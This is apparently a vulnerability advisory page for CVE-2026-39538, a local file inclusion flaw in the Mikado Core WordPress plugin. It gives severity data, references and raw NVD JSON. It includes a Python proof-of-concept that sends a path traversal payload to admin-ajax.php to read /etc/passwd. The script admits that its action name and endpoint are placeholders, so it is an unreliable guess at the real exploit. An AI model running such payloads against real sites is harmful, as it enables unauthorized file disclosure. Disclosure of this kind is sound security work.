CVE-2026-39538

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Mikado Core mikado-core allows PHP Local File Inclusion.This issue affects Mikado Core: from n/a through <= 1.6.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mikado Core <= 1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: Mikado Core <= 1.6 - Local File Inclusion (CVE-2026-39538)
# Description: Proof of concept for LFI vulnerability in Mikado Core plugin.

import requests
import sys

def check_poc(target_url):
    """Attempts to read /etc/passwd via LFI"""
    # Common vulnerable endpoint structure for WP plugins (adjust based on actual vulnerability)
    # This is a simulation based on typical LFI patterns in WP plugins
    target_endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php'
    
    # Payload attempting to read linux passwd file
    payload = {
        'action': 'mikado_core_load_action', # Placeholder action name
        'file': '../../../../../etc/passwd'
    }

    try:
        print(f"[*] Sending request to {target_endpoint}...")
        response = requests.post(target_endpoint, data=payload, timeout=10)
        
        if response.status_code == 200 and 'root:x:0:0' in response.text:
            print("[+] Vulnerability confirmed! /etc/passwd content leaked.")
            print(f"[+] Response snippet: {response.text[:200]}")
        else:
            print("[-] Vulnerability not detected or target patched.")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python poc.py <target_url>")
        sys.exit(1)
    check_poc(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39538
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39538
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39538/
[4] VulDB https://vuldb.com/cve/CVE-2026-39538
[5] https://patchstack.com/database/Wordpress/Plugin/mikado-core/vulnerability/wordpress-mikado-core-plugin-1-6-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39538", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:26.490", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Mikado Core mikado-core allows PHP Local File Inclusion.This issue affects Mikado Core: from n/a through <= 1.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mikado-core/vulnerability/wordpress-mikado-core-plugin-1-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}